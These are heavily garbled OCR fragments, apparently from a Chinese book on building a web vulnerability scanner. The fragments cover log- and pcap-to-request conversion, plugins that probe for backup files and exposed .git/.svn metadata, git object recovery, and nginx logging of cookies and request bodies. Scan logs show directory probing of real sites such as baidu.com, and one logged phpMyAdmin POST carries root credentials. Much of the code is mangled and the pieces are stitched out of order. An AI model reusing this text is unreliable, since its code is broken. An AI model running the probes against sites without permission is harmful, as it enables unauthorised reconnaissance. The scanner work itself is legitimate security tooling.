log_host = info_tuple[1l]
log_request = info tuple[2]
log code = info_tuple[3]
log cookie = info_tuple[4]
log body = info_ tuple[10]
temp_request = log_request.split (" ")

method = temp request[0][1:].upper ()
uri = temp request[1][0:-8]
url = log host + uri

cookie = cookie (log cookie)
post_data = postdata(log_body)

urlobj = URL(url)

if method == "GET":
req = Request (urlobj, "GET", cookie=cookie)
elif method == "POST":

req = Request (urlobj, "POST", cookie=cookie, post data=post data)
return req

log_item ='192.168.126.1 - - [17/Dec/2016:17:52:45 +0800] "GET
/p.php?act=rt&callback=]jQueryl70013389064965628972 1481968361729& =1481968365810
HTTP/1.1" 192.168.126.141 200 416 "http://192.168.126.141/p.php" "Mozilla/5.0 (Macintosh;
Intel Mac 0S X 10 _10_2) AppleWebKit/537.36 (KHTIML, like Gecko) Chrome/55.0.2883.95
Safari/537.36" "2zA sid=1QFL02; mycookie=you are spider" "-" "-"!'

log data = log item.strip()
http_reqg = convert log to http(log data)
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Smv .git/objects/pack/pack-af32a055d£f2da92544£f00£40b580d7177d93b£f33.pack
Sgit unpack-objects < pack-af32a055df2da92544f00£40b580d7177d93bf33.pack
JEFTXT R H: 100%(339/339), FEMK.
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root@debian:/home/wwwroot/default/book/git# git clone https://github.com/imiy002@10/imiPhoneWall.git
IE % f# %) 'imiPhoneWall'...

remote: Counting objects: 339, done.

remote: Total 339 (delta 0), reused 0 (delta 0), pack-reused 339
W T & 100% (339/339), 1001.99 KiB | 290.00 KiB/s, 5.
Wb IF delta & : 100% (46/46), TTAR.

e E ... T

root@debian:/home/wwwroot/default/book/git# 1s -aF1 imiPhoneWall/.git/
L

o/

branches/

kconfig*

[description

HEAD

hooks/

index

info/

[Logs/

objects/

packed-refs

refs/
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log format name (H§RHZFK) format (HENFEX)
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entriesXHHHIEREFIR:

common

entries3C P RISTHFIEE:
discussion_ques_detail_yijj. js
discussion_todo. js
discussion_ques_detail_reply. js
discussion. js
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access_log path (ff/fl#§48) [name (HEXMAKEHK) [buffer=size | off]]
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git show adeb458def7e52e3ablbd4ac586ac49ef49c5b373
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req_list.append(req)
relurnire NS

peap) fiflleS=SU201i6 121582000 pcaplt
letge imtlle SMaeee Maisesie wlleogellide (YY) [0] ¢ Yo lleeg?
#F)Flht tpcapXf PCAPSC A HEAT AT Fl i €
cmd UparsespeapisvivassE>Ns SRS (peapifitlic ThitEpl Eidle)
os.system(cmd)
regp lbisER=Neonver i trafficitol reqi(htep Nfitlie)
# X HTTPIERBEAT 2= i
for item in req list
IR
fromcevelcorcliscorelinporElECore
geam_mmelne = ECene ()
seaniengine Jslcanirequest (HiEem)
ENEEITIE &
HIC T AR 5% A 25 LA 2] AN 56 3%

pass
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root@debian: /home/wwwroot/default/book/git/imiPhoneWall# git 1ls-files --stage

100644
100644
100644
100644
100644
100644

00644

6a2bfd3515a103b0448cbfd73ce833098cc886a0 0 .classpath
341dd720811a3356fd68890dbbedcbael2ec3ele 0 .classpath. bak
f01f8daec934aefdlebdadbsbaa’ba26225716a7 0 .project
05b3fdbcf894645e0c@bc946db84395c95afic2b @ .settings/org.eclipse. jdt.core.prefs
bdeft5fba58cdf82ac905dd119ebdc 0144 f83df 0 .settings/org.eclipse. ltk.core.refactoring.prefs
41ac8688ad965357e401daa2b/ee5eaa/34a2e51 0 AndroidManifest. xml

100644 (adebiSEde a5 2eTabbiacsEoacideidcthi T 0 REMDMEnd
agead11a911472c9cbc927893579b2349664decc8 0 bin/ActivityMain. apk
7dea8dB15dc916318245537 f85b67452e79f9ad4 0 bin/classes. dex

00644
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imiyoo: /workplace/tscanner$ python scan_traffic. py

GET http://www. anquanbao. com/ HTTP/1.1

accept—language: zh—CN, zh;g=0. 8, en;q=0. 6

accept—encoding: gzip, deflate, sdch

upgrade—insecure-requests: 1

Host: www. anquanbao. com

accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0. 8
User—Agent: TScanner/1.0

connection: keep—alive

cookie: NewFeaturelnfo=cornetto; pgv_pvi=8211100672; Hm_|vt_9b08844166a18dabf640d8dcd6267ad6=14723566)
16, 1473844697; __cfduid=d8366956652f9ce9dcef7c62c866081031482497480

user—agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_10_2) AppleWebKit/537.36 (KHTML, |ike Gecko) Ch
rome/56. 0. 2924. 87 Safari/537.36

TScanner:2017-02-11 10:17:02, 603:sql. check. 51 — IEZE#M BiRRBEESILENRR. . .
TScanner:2017-02-11 10:17:02, 604:xss. check. 36 — IEZERBFR B HFEXSSEIIRMA. . .
TScanner:2017-02-11 10:17:02, 604:cmd. check. 37 — EAE#RABIFRBEENSHNITRA. . .

TScanner :2017-02-11 10:17:02, 605: | fi. check. 35 — EEE#RABIFRBHEEXHESRA. ..

TScanner :2017-02-11 10:17:02, 605:bak. check. 55 — IEZEMMBiF R B HFEXHEHIRE. . .
TScanner:2017-02-11 10:17:10, 669:nginx. check. 40 — IEFERA EFREFENg i nxBHRE. . .
TScanner:2017-02-11 10:17:10, 669:struts. check. 33 — IEZE#M BiFR B FEStrutsiERRIA. .

TScanner :2017-02-11 10:17:10, 758:directory. check. 49 — IEE&NEMEE#EMrectoryEiﬂ*ﬁﬁ
GET http://www. anquanbao. com/css/2015/ index. css?_t_=1484206909370 HTTP/1.1

accept—language: zh—CN, zh;q=0. 8, en;q=0. 6

accept—encoding: gzip, deflate, sdch

Host: www. anquanbao. com

accept: text/css, */*;g=0. 1

user—agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_10_2) AppleWebKit/537.36 (KHTML, |ike Gecko) Ch
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cat README.md
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wget http://luajit.org/download/LuadJIT-2.0.4.tar.gz
Ear SzxVE LUuadil=2 0054 Star. gz

cd LuaJIT-2.0.4

make && make install

export LUAJIT LIB=/usr/local/lib

export LUAJIT INC=/usr/local/include/luajit-2.0

cp /usr/local/lib/libluajit-5.1.s0.2 /usr/lib/
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imiyoo@debian:/home/wwwroot/default/book/git/imiPhoneWall$ git show adeb458def7e52e3ablb4ac58bac49efd9c5b373
imiPhoneWall

Android Phone FireWall , it could help you to filter the boring Message and unknow Call.

ish it Hopfull.

[Site:http://www.imiyoo.com/blog
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wget https://github.com/simpl/ngx_devel kit/archive/v0.3.0.tar.gz
tar -zxvf v0.3.0.tar.gz
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imiyoo@debian:/home/wwwroot/default/book/git/imiPhoneWall/.git/objects$ 1s -1sF
RFAE 8

U drwxr-xr-x 2 root root 4096 128 2 20:02 info/

U drwxr-xr-x 2 root root 4096 125 2 20:02 pack/
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log_format access 'Sremote addr - Sremote user [$time local] "S$request" '
'$Sstatus $body bytes sent "Shttp referer" '
'"Shttp user agent" $http x forwarded for';

access log /home/wwwlogs/access.log access;
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imiyoo@debian:/home/wwwroot/default/book/git/imiPhoneWall$ cat README.md

Android Phone FireWall , it could help you to filter the boring Message and unknow Call.

ish it Hopfull.

Site:http://www.imiyoo.com/blog
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116275116 81 265 I == W[ 2 87/ Now/ 206 52 2 28E0 8100 UCET
/p.php?act=rt&callback=jQueryl705618669089228918 1480316105795& =1480326742350
HTTP/1.1" 200 422 "http://192.168.126.139/p.php" "Mozilla/5.0 (Macintosh; Intel Mac OS
X 10 10 2) AppleWebKit/537.36 (KHTIML, like Gecko) Chrome/54.0.2840.98 Safari/537.36" -
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scan_traffic.py

i

import os

import re

from teye web.http.URL import URL

from teye web.http.Request import Request

from BaseHTTPServer import BaseHTTPRequestHandler
from StringIO import StringIO
#7flBaseHTTPRequestHandler (NI IIAE, ¥http P RrH L NHTTPRequest X R
class HTTPRequest (BaseHTTPRequestHandler) :
def  init (self, request_ text):

self.rfile = StringIO(request_text)

self.raw_requestline = self.rfile.readline()

self.error code = self.error message = None

self.parse_ request ()

def read request(str):

(RRl

(RR

rlist = str.split("\n\nHTTP/1.1")

req str = rlist[0].strip()

if req str.startswith("HTTP/1.1"):
return None

basereq = HTTPRequest (req str

method =basereq.command

urlpath =basereq.path

headers =basereq.headers

netloc =basereqg.headers['host']

del headers|['host']

#E A2 T S Reque st XT R

url = URL(netloc + urlpath)

treq = Request (url,method, headers=headers)
return treq

def convert traffic to req(http file):

i
N

reg list = []

file:open(http_file,"rb")

content = file.read()

#[172.24.72.136:62822] -~ —— ——> [10.46.7.223:80]

pattern="\ [\d+\.\d+\.\d+.\d+:\d+\]\s——\s==\s-=>\s\ [\d+\.\d+\ . \d+\.\d+:\d+\]"
match = re.split(pattern,content)

if len (match)>1:
for i in xrange(len(match)-1):
index = i + 1
data = match[index]
req = read request (data)
#7T LAREAT SE 2 5 SRR e A

if reg is not None and reg not in req list:
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#coding=utf-8
import re

file = open("entires","rb")

content=file.read()

patternf = re.compile (' (\w+\.\w+)\nfile')

patternd = re.compile (' (\w+)\ndir")

dirs = [parentdir + '/' + x for x in patternd.findall (content) ]
files = [parentdir + '/' + x for x in patternf.findall (content) ]

print "entriesICHFHHRFIK:
for d in cirs:
print d
print "entriesICHFHICHEIEK:
for £ in files:
pEint
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imiyoo@debian: ~T#

BR(S) Lag(m) #WEHH)






OEBPS/Image00417.jpg
location ~ [*/]\.php(/|$)

{

lua need request body on;

content byl lunalilocali sE=Sngx . var. requestibodyy
try files Suri =404;

fastcgi pass wunix:/tmp/php-cgi.sock;

fastcgi index index.php;

include fastcgi.conf;

1





OEBPS/Image00294.jpg
imiyoo@debian: ~/ Tt

XHHF) 4wiE(E) EEH(V) ) #EEN(H)

& A L "config.php.swp"

Ri4 34 "/home/wwwroot/default/book/config. php"
Recovery completed. Buffer contents equals file contents.
You may want to delete the .swp file now.

15 % ENTER 2k H 'E dy & 4k 4%
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log format access 'Sremote addr - Sremote user [S$time local] "S$request" Shttp host '
'$status $body bytes sent "Shttp referer" '
'"Shttp user agent" "Shttp cookie" "S$http x forwarded for" "$request body"';
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zip file list = gen_zip name (domain)
for fname in zip file list:
for item in self. zip ext:
Zipl talien = fname A MUMERG S em
zip url =URL(uri_string).urljoin(zip_file)
res = wcurl.head(zip url)
ct = res.headers["content-type"].lower ()
if et in self. res zip type:
= vuln ()
set_url(zip_url)
set _method ("GET")
set_param("")
set_name ("Bak Vuln")
.set rank(severity.H)
vm.append (self, http request.get url().get_host(),"bak",v)
print "Bak Vuln IFAURL: $s" % (bak_url)
self. report num +=1
url ext = url obj.get ext()
url file = url obj.get filename ()
if url file

4 <4 <4< 49

return
if url ext not in self. key ext.keys():
return
for bak ext in self. bak ext:
if bak_ext == ".swp":
bak file = "." + url file + bak ext

bak _url =URL(uri_string) .urljoin(bak_file)
res = wcurl.head(bak url)
bak ct = res.headers["content-type"]
#(".swp","application/octet-stream")
if bak_ct =="application/octet-stream":
v = vuln()
v.set_url (bak_url)
v.set_method ("GET")
v.set_param("")
v.set_name ("Bak Vuln")
v.set rank(severity.H)
vm.append (self, http request.get_url().get_host (), "bak",v)
print "Bak Vuln #IHURL: %s" % (bak_url)
self. report num +=1
else:
bak url = uri string + bak_ext
res = wcurl.get (bak_url)
if self. find vuln(res,url ext):
v = vuln()
.set_url (bak_url)
.set_method ("GET")
.set_param("")
.set_name ("Bak Vuln")
v.set rank(severity.H)
vm.append (self,http request.get_url().get_host (), "bak",v)
log.info ("Bak vuln")
print "Bak Vuln JIHURL: %s" % (bak_url)
self. report num +=1

v
v
v
v
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./configure --user=www --group=www —-prefix=/usr/local/nginx \
--with-1ld-opt=-Wl, -rpath, $LUAJIT LIB \
--with-http stub status module --with-http ssl module \
--with-http spdy module --with-http gzip static module \
--with-ipv6 --with-http sub module \
--add-module=/home/imiyoo/lua for book/lua-nginx-module-0.10.6 \
--add-module=/home/imiyoo/lua_for book/ngx_devel kit-0.3.0

make
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#coding=utf-8

(R

bak.py

(R

import re

import copy

import teye data.severity as severity
from teye data.vuln import wvuln

from teye data.vulnmanager import wvm

from LogManager import log

#wCurl

from wCurl import wcurl

from http.URL import URL

from http.Request import Request

from util.gen_zip name import gen_zip_name
from teye util.page 404 import is_ 404

class bak:
def init (self):

self. bak ext = ["~",".bak",".swp"]
self, zip ext= [Mzip!, “rar®,™/z", Ngzip"]
self. res zip type = ["application/zip","application/x-rar-compressed",

"application/x-7z-compressed", "application/gzip"]
self. key ext =
{"asp®: M<\s28 ", "aspx" 1 < \Ns¥RY; TphpY: '<PAs*php" , Yispli s hsra

self. report_num = 0
self. bak max num = 10

def check(self,t request):
if self. report num > self. bak max num:

return

log.info (u" IEZERI H AR 2 BAFE S RIE . . . ")
http request = copy.deepcopy(t_request)
url obj = http request.get url()
domain = url_ obj.get_ domain ()
uri_string = url obj.get_uri_ string()
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mv /usr/local/nginx/sbin/nginx{, bak}
cp objs/nginx /usr/local/nginx/sbin/
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#coding=utf-8

ver.py

import copy
import teye data.severity as severity

from
from
from
from
from
from
from

teye data.vuln import vuln

teye data.vulnmanager import vm
LogManager import log

wCurl import wcurl

http.URL import URL

util.gen zip name import gen zip name
teye util.page 404 import is 404

class ver:

def = dnit  (selE)i:

self. already flag = False

self. already check domain = []
self. ver file = [".svn/wc.db",".svn/entries",".git/index"]
self. ver content type = "application/octet-stream"

def check(self,t request):

http request = copy.deepcopy (t_request)
url obj = http request.get url()
domain = url obj.get domain ()
if self. already flag:
return
if domain not in self. already check domain:
self. already check domain.append(domain)
self. already flag = True
log.info (u" IEAERM H bR B A ERRA TR . . o)
uri_string = url obj.get uri_string()
for item in self. ver file:
ver_url = URL(uri_string) .urljoin(item)
res = wcurl.head(ver_url)
ver_ct = res.headers["content-type"].lower ()
#("wc.db|entries|index", "application/octet-stream")
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/etc/init.d/rsyslog restart
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cle PN nd vt Ini(setiAre shne T X =)k
res body = res.bedy
if res body is None:
return False
it EeEgEt_seele()==200%
1finot N isNA04N(rest body ) NandSse lIFifindl keyl(resibody,urlle x )
Ee ElEnT e
else:
return False
def find key(self,res body,url ext):
pattern = self. key ext.get (url ext)
resulER=Nredccarchi(pattern resibody, fre i)
if result:
ZEiebizn WiEeE
return False
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imiyoo: /workplace/tscanner$ nosetests tests/test_common_vuln.py:test_bak -s
Bak Vuln jiEURL:http://192. 168. 126. 143/book/bak/test. zip

Bak Vuln J®iEURL:http://192. 168. 126. 143/book/bak/2. php. bak

Bak Vuln J@iEURL:http://192. 168. 126. 143/book/bak/. 2. php. swp

{"192.168.126.143"': {'teye_bak_plugin': {'bak': [<vuln object: "Bak Vuln">, <vuln object:

Ran 1 test in 5.420s

0K

imiyoo: ~/workplace/tscanner$ nosetests tests/test_common_vuln.py:test_ver -s
Ver Vuln jRiEURL:http://192. 168. 126. 143/book/ver/. svn/wc. db

Ver Vuln jiEURL:http://192. 168. 126. 143/book/ver/. svn/entries

Ver Vuln J@iEURL:http://192. 168. 126. 143/book/ver/. git/ index

{'192.168.126.143" : {'teye_ver_plugin': {'ver': [<vuln object: "Ver Vuln"> <vuln object:

Ran 1 test in 0.133s

0K

"Bak Vuln">, <vuln object:

"Ver Vuln">, <vuln object:

"Bak Vuln">1}1}

"Ver Vuln">1}}}
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18925156 81 2 6 TSR =MI0 17/ De e /. 210 186 :H1E6 = 510 =2 28EE0 810 O]

"POST /phpmyadmin/index.php HTTP/1.1"

192.168.126.141

302

36

"http://192.168.126.141/phpmyadmin/"

"Mozilla/5.0 (X11; Linux x86 64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0"
"pma lang=zh CN;pma collation connection=utf8 unicode ci;phpMyAdmin=ds5akjsjegqu3d8mkl
tajjklad406mperg"

"pma_ username=root&pma password=rooté&server=l&target=index.php&lang=zh CNé&collation c
onnection=utf8 unicode ci&token=5ccce88e3379fdela%98ecb3db2dab3da"
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1 flveriic l==sel Ve ricontenEype

v

.
3.
Ve
W
7.
vm.append (self, http request.get url().get host (), "ver

= vuln ()

ciaie el (=i el

set method ("GET")
set param("")

set name ("Ver Vuln")
set rank(severity.H)

lleoginfel(@ Ve vulnt)

print "Bak Vuln JRIHURL: $s"

"

' V)
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$ModLoad imfile
$InputFilePollInterval 10
SWorkDirectory /var/spool/rsyslog
$PrivDropToGroup adm

## NginxUjinl HECAERAE, RIESLhREIES:
$InputFileName /usr/local/nginx/logs/access.log
$InputFileTag nginx-access:

SInputFileStateFile stat-nginx-access
$InputFileSeverity info
SInputFilePersistStateInterval 25000
$InputRunFileMonitor

#iHR E H S A% AR

Stemplate ScanLogNginx,"$fromhost-ip% %syslogtag% %msg% \n"

#HE R syslogH B MRSG A EICbE,  HRYE SEBR1EHLE L
if $programname == 'nginx-access' then @127.0.0.1:514; ScanLogNginx
#E 7 & nginx-accesstr & (5 B, Bt Ui H EB RS AAHLE]/varl/log/message

if S$programname == 'nginx-access' then ~
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imiyoo@debian: ~/lua_for_book$ nginx -V

hginx version: nginx/1.8.0

built by gcc 4.9.2 (Debian 4.9.2-10)

built with OpenSSL 1.0.7k 8 Jan 2015

[TLS SNI support enabled

configure arguments: --user=www --group=www --prefix=/usr/local/nginx --with-htt
p_stub_status_module --with-http_ssl_module --with-http_spdy_module --with-http |
lgzip_static_module --with-ipvb --with-http_sub_module
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A TR x

192.168.126.142

(.

0,

"localhost";

"test";

wBE ¥ #

EERETTIF -

|| .config.php.swp
R - BIN 30 (12.0 KB)

9'—[ SR : http://192.168.126.141
BABRARAFILICHHG ?

Fire

imiyoo@debian: /home/wwwroot/default/book
JHHF) @E(E) BERN) HREG) FEH(H)
imiyoo@debian:/home/wwwroot/default/book$

Lag(T)
1s -la

IEFHE 76

4096
4096
4096
4096
78
12288
4096
4096
4096
4096

9 00:
20:

128
1A
128
118
128
123
TTH
128
18
88

drwxrwxrwx 13 www

drwxr-xr-x 6 www

drwxr-xr-x imiyoo
drwxr-xr-x imiyoo
~re-r~=r-- imiyoo
Sl s imiyoo
drwxr-xr-x imiyoo
drwxr-xr-x imiyoo
drwxr-xr-x imiyoo
drwxr-xr-x imiyoo

www
www

imiyoo
imiyoo
imiyoo
imiyoo
1miyoo
imiyoo
imiyoo
imiyoo

bloomfilter
cmd

config.php
.config. php. swp
dom-xss

git

1fi

php
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imiyoo@debian:/home/wwwroot/default/book/git/imiPhoneWall/.git/objects/info$ cat packs
P pack-a2abee8b9307102139b8c295cabbc16d41536940.pack
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wget https://github.com/openresty/lua-nginx-module/archive/v0.10.6.tar.gz
tar -zxvf v0.10.6.tar.gz
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imiyoo: /workp lace/tscanner$ python taskSchedule. py
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HR-EBRMZERMAL

EHER

BIRfES

EHFIE

AR

AR

HRE

iR

EBT=R

EFEBM

RIMES

BRIMES

www.anquanbaacom

www.baidu.com

FriaRE

ERMBERHME, N:www.watscan.com

SIRAE

& 13##3%

& 13H#i3%

of 5

of &






OEBPS/Image00384.jpg
FERAER ESid] EAES iR
taskid int(8) i ] FARALSS I ME—FRIR ID
entry text EEEiEIDANEE: 113
Result text HAE R R A
high int(11) T G I B
middle int(11) 1 £ e
low int(11) G fe I i 2
notice int(11) NI G
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python WatDBService.py®{ nohup python WatDBService.py & J5 81817 »
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time.sleep(wait circle*Settings. SCAN TASK INTERVAL)
time.sleep (Settings.DISPATCH TASK INTERVAL)
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FERAER ] EAES i
taskid int(8) X8, A1 ID FARAL S5 FME—FRIR ID
taskname varchar(100) FRAES AR
website varchar(100) TR 1
profile varchar(100) PR MIERS S
inqueuetime timestamp FHEAT S5 I N B I i)
starttime timestamp FAGAT 55 B LR B )
finishtime timestamp FHAT 55 1) 45 AR 1)
progress int(3) EEEiE =R NERE iprdL S
status tinyint(1) PRSI IRERER
taskmsg varchar(100) AR R R YR 2
flag tinyint(1) RS HES IRES, 2B CELH






OEBPS/Image00388.jpg
imiyoo: /workplace/tscanner$ ./start_worker. sh

celery@imiyoo. local v4.0.2 (latentcall)

p—
— % %k * — Darwin—14. 1. 1-x86_64-i386-64bit 2017-04-13 12:37:59
s = —
= s ————— 31
=hE———— Sl ann: scan:0x10dcb2d10
=% ———— > transport: redis://127.0.0. 1:6379/0
=™ ————— > results: disabled://
— %kk — % — > concurrency: 2 (prefork)
— kkkkkk —— > task events: OFF (enable —E to monitor tasks in this worker)
— dokkkk ——
[queues]
.> celery exchange=celery(direct) key=celery
[tasks]

. teye_worker. scan. DoScanTask

[2017-04-13 12:37:59, 703:
[2017-04-13 12:37:59, 712:
[2017-04-13 12:38:00, 733:
[2017-04-13 12:38:00, 742:

INFO/MainProcess]
INFO/MainProcess]
INFO/MainProcess]
INFO/MainProcess]

Connected to redis://127.0.0.1:6379/0
mingle: searching for neighbors
mingle: all alone

celery@imiyoo. local ready.
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python taskSchedule.py
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imiyoo@debian:~/workplace/tscanner$ nohup python WatDBService.py &
[1] 27767
imiyoo@debian:~/workplace/tscanner$ nohup: ZE& % A 3 8% H 8 i E "nohup.out"

1miyoo 9 27018 0O 19. 8 pts/2
imiyoo@debian:~/workplace/tscanner$
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./start_worker.sh
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imiyoo@debian:~/20161215% 1s -1h

SFHE 136K

-rw-r--r-- 1 imiyoo imiyoo 3.9K 124 16 12:19 2016_1215_0000.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.2K 128 16 12:19 2016_1215_0100.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.9K 128 16 12:19 2016_1215_0200.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.4K 128 16 12:19 2016_1215_0300.pcap
-rw-r--r-- 1 imiyoo imiyoo 2.8K 128 16 12:19 2016_1215_0400.pcap
-rw-r--r-- 1 imiyoo imiyoo 2.6K 128 16 12:19 2016_1215_0500.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.4K 124 16 12:19 2016_1215_0600.pcap
-rw-r--r-- 1 imiyoo imiyoo 5.4K 128 16 12:19 2016_1215_0700.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.2K 128 16 12:19 2016_1215_0800.pcap
-rw-r--r-- 1 imiyoo imiyoo 2.5K 128 16 12:19 2016_1215_0900.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.1K 128 16 12:19 2016_1215_1000.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.6K 128 16 12:19 2016_1215_1100.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.5K 128 16 12:19 2016_1215_1200.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.1K 128 16 12:19 2016_1215_1300.pcap
-rw-r--r-- 1 imiyoo imiyoo 2.6K 124 16 12:19 2016_1215_1400.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.0K 128 16 12:19 2016_1215_1500.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.1K 128 16 12:19 2016_1215_1600.pcap
-rw-r--r-- 1 imiyoo imiyoo 5.0K 124 16 12:19 2016_1215_1700.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.4K 128 16 12:19 2016_1215_1800.pcap
-rw-r--r-- 1 imiyoo imiyoo 2.8K 128 16 12:19 2016_1215_1900.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.7K 128 16 12:19 2016_1215_2000.pcap
-rw-r--r-- 1 imiyoo imiyoo 3.3K 128 16 12:19 2016_1215_2100.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.1K 128 16 12:19 2016_1215_2200.pcap
-rw-r--r-- 1 imiyoo imiyoo 4.1K 1283 16 12:19 2016 _1215_2300.pcap
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export RTE SDK=$ (pwd)
export RTE TARGET=x86_ 64-native-linuxapp-gcc
make install T=SRTE TARGET
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echo 512 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr hugepages
mkdir /mnt/huge
mount -t hugetlbfs nodev /mnt/huge
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diff --git a/lib/librte eal/linuxapp/igb uio/igb uio.c
b/lib/librte eal/linuxapp/igb uio/igb uio.c
index dlca26e..c46a00f 100644
--- a/lib/librte eal/linuxapp/igb uio/igb uio.c
+++ b/lib/librte eal/linuxapp/igb uio/igb uio.c
@@ -505,14 +505,11 @@ igbuioc pci probe (struct pci dev *dev, const struct pci device id
*idl)
}
/* fall back to INTX */
case RTE INTR MODE LEGACY:
— if (pci intx mask supported(dev)) {
= dev_dbg (&dev->dev, "using INTX");
= udev->info.irq flags = IRQF SHARED;
= udev->info.irq = dev->irg;
= udev->mode = RTE_INTR MODE LEGACY;
= break;
}
dev_notice (&dev->dev, "PCI INTX mask not supported\n");
dev_dbg (&dev->dev, "using INTX");
udev->info.irq flags = IRQF SHARED;
udev->info.irqg = dev->irqg;
udev->mode = RTE INTR MODE_ LEGACY;
break;
/= fall back te noe LRO */
case RTE INTR MODE NONE:

+ + + + +
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udev->mode = RTE INTR MODE NONE;
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./tools/dpdk nic bind.py -b igb uio 0000:02:06.0
./tools/dpdk nic bind.py -b igb uio 0000:02:07.0
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---------------------- Forwardistatisticssforiportibis === —===r==
RX-packets: 131489 RX-dropped: 0 RX-total: 131489
TX-packets: 131379 TX-dropped: @ TX-total: 131379

---------------------- Forward statistics for port il -c——-—-——-c——c— -
RX-packets: 131506 RX-dropped: @ RX-total: 131506
TX-packets: 131362 TX-dropped: 0 TX-total: 131362

++++++++++++4++4+ Accumulated forward statistics for all ports++++++t+t+ttttt
RX-packets: 262995 RX-dropped: 0 RX-total: 262995
TX-packets: 262741 TX-dropped: 0 TX-total: 262741
tt+ttttttbbbtbbbbbbbb bbbt bbbt bbbt bbbttt bbb bbb bbb bbb bbb bbb bbb bbb

Done.

Shutting down port 0...
Stopping ports...

Done

Closing ports...

Done

Shutting down port 1...
Stopping ports...

Done

Closing ports...

Done

Bye...
imiyoo@debian: ~/traffic/dpdk$
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modprobe uio
insmod x86 64-native-linuxapp-gcc/kmod/igb uio.ko
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./tools/dpdk nic bind.py --status
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[2017-04-13 12:39:18, 665: INFO/PoolWorker—2] TScanner Get the Msg From the Task Queue
[2017-04-13 12:39:18, 666: INFO/PoolWorker—1] TScanner Get the Msg From the Task Queue
[2017-04-13 12:39:18, 667: WARNING/Pool|Worker—1] /usr/bin/python /Users/imiyoo/workplace/tscanner/teye. py —t 608732 —s 'www. baidu}
.com' —p '{"type":1, "rate”:1, "useragent”:"TScanner/1.0", "proxy":"", "cookie":""}' -m 'teye’

[2017-04-13 12:39:18, 667: WARNING/PoolWorker—2] /usr/bin/python /Users/imiyoo/workplace/tscanner/teye. py —t 608733 —s 'www. anqual
nbao.com' —p ' {"type”:1, "rate”:1, "useragent”:"TScanner/1.0", "proxy”:"", "cookie":""}' -m 'teye'

[2017-04-13 12:39:18, 667: INFO/PoolWorker—1] /usr/bin/python /Users/imiyoo/workplace/tscanner/teye.py —t 608732 —s 'www. baidu. co
m' —p '{"type":1, "rate":1, "useragent”: "TScanner/1.0", "proxy":"", "cookie":""}' -m 'teye’

[2017-04-13 12:39:18, 667: INFO/PoolWorker—2] /usr/bin/python /Users/imiyoo/workplace/tscanner/teye.py —t 608733 —s 'www. anquanbal

o.com' —p '{"type":1, "rate":1, "useragent”:"TScanner/1.0", "proxy":"", "cookie":""}' -m 'teye'

TScanner [INFO/7099] : 2017-04-13 12:39:19, 395:tcore. update_scan_status. 107 — M4EFHEHEJ9:3%

TScanner [ INFO/7099] :2017-04-13 12:39:19, 399:tcore. _scan_worker. 209 — Scaning Target:http://www. baidu. com:80
TScanner [ INFO/7099] :2017-04-13 12:39:19, 426:DirScan. scan_dir.53 — Check URL:http://www.baidu. com:80/admin code:302
TScanner [INFO/7100] :2017-04-13 12:39:19, 430:tcore. update_scan_status. 107 — METIHEFHEF:3%

Found URL:http://www. baidu. com:80/admin code:302 404 Check: False

TScanner [INFO/7100] :2017-04-13 12:39:19, 451:tcore. _scan_worker. 209 — Scaning Target:http://www. anquanbao. com: 80
TScanner [INFO/7099] :2017-04-13 12:39:19, 558:DirScan. scan_dir.53 — Check URL:http://www. baidu. com:80/manager code:302
Found URL:http://www. baidu. com:80/manager code:302 404 Check: False

TScanner [INFO/7099] : 2017-04-13 12:39:19, 690:DirScan. scan_dir.53 — Check URL:http://www. baidu. com:80/admin888 code:302
Found URL:http://www. baidu. com:80/admin888 code:302 404 Check: False

TScanner [INFO/7100] :2017-04-13 12:39:19, 767:DirScan. scan_dir. 53 — Check URL:http://www. anquanbao. com:80/admin code:404
TScanner [ INFO/7099] :2017-04-13 12:39:19.817:DirScan. scan dir.53 — Check URL:http://www. baidu. com:80/guanli code:302
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10
Crawl the urls:
httpRequest>>http://testphp.vulnueb.com/AJAR/

httpRequest>>http://testphp.vulnueb.con/AJAX/titles.php |
httpRequest>>http://testphp.vulnueb.con/AJAX/infoartist.php |

ENCd =i

httpRequest>>http://testphp.vulnuweb.con/AJAX/infocateg.php |

Cid="1">

httpRequest>>http://testphp.vulnuweb.con/AJA¥/categories.php |
httpRequest>>http://testphp.vulnuweb.com/showimage .php |

e="./pictures...">

httpRequest>>http://testphp.vulnuweb.com/AJAX/shouxml.php |
httpRequest>>http://testphp.vulnuweb.com/AJAX/infotitle.php |
httpRequest>>http://testphp.vulnweb.com/AJAX/artists.php

Method: GET
Method: GET
Method: GET |

Method: GET 1|

Method: GET
Method: GET | Data:

Method: GET
Method: GET
i Method: GET

Data]

Data:

Fil
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Links:15
URL:http://testphp.vulnweb.con/AJAX/artists.php Depth:1
Uisiting:http:/stestphp.vulnuwebh.con/AJAR/artists.php
Links:16

URL:http://testphp.vulnweb.con/AJAX/ Depth:1
URL:http://testphp.vulnweb.con/AJAX/styles.css Depth:1l
URL:http://testphp.vulnweb.con/AJAR/ Depth:2
URL:http://testphp.vulnweb.con/AJAX/styles.css Depth:2
URL:http://testphp.vulnweb.con/AJAX/ Depth:2
URL:http:/stestphp.vulnweb.com/AJAR  styles.css Depth:2
URL:http://testphp.vulnweb.con/AJAX/ Depth:2
URL:http://testphp.vulnweb.comn/AJAX/styles.css Depth:2
URL:http://testphp.vulnweb.comn/AJAX/ Depth:2
URL:http://testphp.vulnweb.con/AJAX/styles.css Depth:2
URL:http://testphp.vulnweb.con/AJAX/ Depth:2
URL:http://testphp.vulnweb.con/AJAX/styles.css Depth:2
